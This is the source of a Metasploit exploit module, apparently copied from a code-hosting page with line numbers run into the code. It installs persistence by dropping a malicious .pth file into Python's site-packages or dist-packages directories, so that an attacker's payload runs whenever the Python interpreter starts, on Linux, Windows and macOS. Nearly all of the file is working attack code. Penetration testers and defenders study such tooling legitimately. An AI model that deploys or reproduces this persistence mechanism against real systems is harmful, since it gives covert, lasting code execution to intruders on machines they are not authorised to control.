Path: blob/master/modules/exploits/multi/persistence/python_site_specific_hook.rb
31433 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78include Msf::Post::Linux::Priv9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Python Site-Specific Hook Persistence',20'Description' => %q{21This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.22},23'License' => MSF_LICENSE,24'Author' => [25'msutovsky-r7', # msf module26],27'Platform' => ['linux', 'windows', 'osx'],28'Arch' => [ ARCH_CMD ],29'SessionTypes' => [ 'meterpreter', 'shell' ],30'Targets' => [[ 'Auto', {} ]],31'References' => [32[ 'URL', 'https://docs.python.org/3/library/site.html'],33['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],34['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],35],36'DisclosureDate' => '2012-09-29',37'DefaultTarget' => 0,38'Notes' => {39'Stability' => [CRASH_SAFE],40'Reliability' => [REPEATABLE_SESSION],41'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]42}43)44)45register_options([46OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),47OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])48])49end5051def get_hooks_path52unless datastore['PYTHON_HOOK_PATH'].blank?53@hooks_path = datastore['PYTHON_HOOK_PATH']54return55end56case session.platform57when 'windows', 'win'5859case datastore['EXECUTION_TARGET']60when 'USER'61@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")62when 'SYSTEM'63@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"64end65when 'osx', 'linux'6667case datastore['EXECUTION_TARGET']68when 'USER'69@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")70when 'SYSTEM'71@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"72end73end74end7576def get_python_version77case session.platform78when 'windows', 'win'79cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/80when 'osx', 'linux'81cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/82end8384@python_version = Regexp.last_match(1)85end8687def check88get_python_version8990return CheckCode::Safe('Python not present on the system') unless @python_version9192CheckCode::Vulnerable('Python is present on the system')93end9495def install_persistence96get_python_version unless @python_version97print_status("Detected Python version #{@python_version}")98get_hooks_path unless @hooks_path99100mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'101102fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)103# check if hooks path writable104begin105# windows only ps payloads have writable? so try that first106fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)107rescue RuntimeError108filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))109write_file(filename, '')110fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)111rm_f(filename)112end113114print_status("Got path to site-specific hooks #{@hooks_path}")115116file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)117118fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))119120print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")121@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"122end123end124125126